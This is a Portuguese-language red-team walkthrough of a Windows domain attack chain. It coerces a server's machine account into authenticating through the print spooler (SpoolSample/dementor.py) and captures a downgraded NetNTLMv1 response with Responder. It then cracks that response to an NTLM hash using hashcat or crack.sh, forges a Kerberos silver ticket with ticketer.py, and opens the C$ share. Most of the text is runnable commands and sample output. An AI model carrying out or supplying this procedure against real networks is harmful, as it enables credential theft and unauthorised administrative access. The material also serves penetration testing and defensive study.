
SpoolSample -> Responder com NetNTLM Downgrade -> NetNTLMv1 -> NTLM -> Kerberos Silver Ticket
Esta técnica já foi mencionada por outros, mas não vi nada coeso por aí. Abaixo vamos percorrer as etapas de obtenção de uma autenticação NetNTLMv1 Challenge/Response, quebrá-las em hashes NTLM e usar esse hash NTLM para assinar um ticket prateado Kerberos.
Isso funcionará em redes onde o "nível de autenticação do Gerenciador de LAN" está definido como 2 ou menos. Este é um cenário bastante comum em implantações Windows mais antigas e maiores. Não deve funcionar no Windows 10 / Server 2016 ou mais recentes.
Obter uma resposta NetNTLMv1 de uma conta de máquina via @tifkin_'s (Lee Christensen's) SpoolSample
Quebrar essa resposta NetNTLMv1 de volta em um hash NTLM usando as Rainbow Tables de @0x31337's (David Hulton's)
Gerar um Silver Ticket usando o hash NTLM recém-obtido com o ticketer.py de @agsolino's (Albert Solino's)
Usando Powershell, obtenha uma lista de máquinas Windows. Servidores geralmente são prioridade, então vamos focar neles:
Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt
Usando o SpoolerScanner ligeiramente modificado de @mysmartlogin's (Vincent Le Toux's), verifique se o serviço Spooler está escutando
. .\Get-SpoolStatus.ps1
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}
Você também pode usar rpcdump.py no Linux e procurar pelo protocolo MS-RPRN
rpcdump.py DOMAIN/USER:[email protected] | grep MS-RPRN
./Responder.py -I eth0 --lm
SpoolSample.exe TARGET RESPONDERIP
ou use o dementor.py de 3xocyte se estiver no Linux
python dementor.py -d domain -u username -p password RESPONDERIP TARGET
Exemplo de resposta:
[SMB] NTLMv1 Client : 10.0.0.2
[SMB] NTLMv1 Username : DOMAIN\SERVER$
[SMB] NTLMv1 Hash : SERVER$::DOMAIN:F35A3FE17DCB31F9BE8A8004B3F310C150AFA36195554972:F35A3FE17DCB31F9BE8A8004B3F310C150AFA36195554972:1122334455667788
Você pode usar um conjunto de Rainbow Tables para reverter o NTHASH para NTLM, ou reverter para seus componentes DES constituintes e quebrá-los com hashcat.
Uma plataforma com 8x 1080 pode forçar por força bruta em cerca de 6 dias, então considere as Rainbow Tables.
Para Rainbow Tables, existe um serviço hospedado em https://crack.sh/netntlm/ que recuperará NTLM de NetNTLMv1 gratuitamente. Isso é fornecido por David Hulton do Toorcon. Estamos trabalhando em uma cópia local das rainbow tables e software que não requer FPGA para consultas.
Para crack.sh, o formato é NTHASH:(resposta), então NTHASH:F35A3FE17DCB31F9BE8A8004B3F310C150AFA36195554972 do exemplo.
python3 ntlmv1.py --ntlmv1 hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788
Isso retornará a saída abaixo com instruções:
['hashcat', '', 'DUSTIN-5AA37877', '76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D', '727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595', '1122334455667788']
Hostname: DUSTIN-5AA37877
Username: hashcat
Challenge: 1122334455667788
LM Response: 76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D
NT Response: 727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595
CT1: 727B4E35F947129E
CT2: A52B9CDEDAE86934
CT3: BB23EF89F50FC595
To Calculate final 4 characters of NTLM hash use:
./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
To crack with hashcat create a file with the following contents:
727B4E35F947129E:1122334455667788
A52B9CDEDAE86934:1122334455667788
To crack with hashcat:
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1
To Crack with crack.sh use the following token
NTHASH:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595
Você precisará encontrar algumas informações para isso: SPN do serviço que deseja acessar, SID do domínio, SID da conta de usuário do domínio e nome da conta com acesso de administrador local, e um grupo de domínio do qual esse usuário é membro se for administrador local baseado em grupo.
Para o serviço, o mais comum será cifs/ pois ele mapeia de volta para o serviço HOST/
./ticketer.py -nthash 09e55a127f3d4e4957c77de30000502a -domain-sid S-1-5-21-7375663-6890924511-1272660413 -domain DOMAIN.COM -spn cifs/SERVER.DOMAIN.COM -user-id 123456 -groups 4321 username
export KRB5CCNAME=/root/Assessments/NTLMTest/USERNAME.ccache
smbclient -k //SERVER.DOMAIN.COM/c$ -d
Distribuir 6TB de Rainbow Tables
Modificar o desrtop de @0x31337 para não exigir FPGA
Identificar mais maneiras de disparar autenticação de conta de máquina remotamente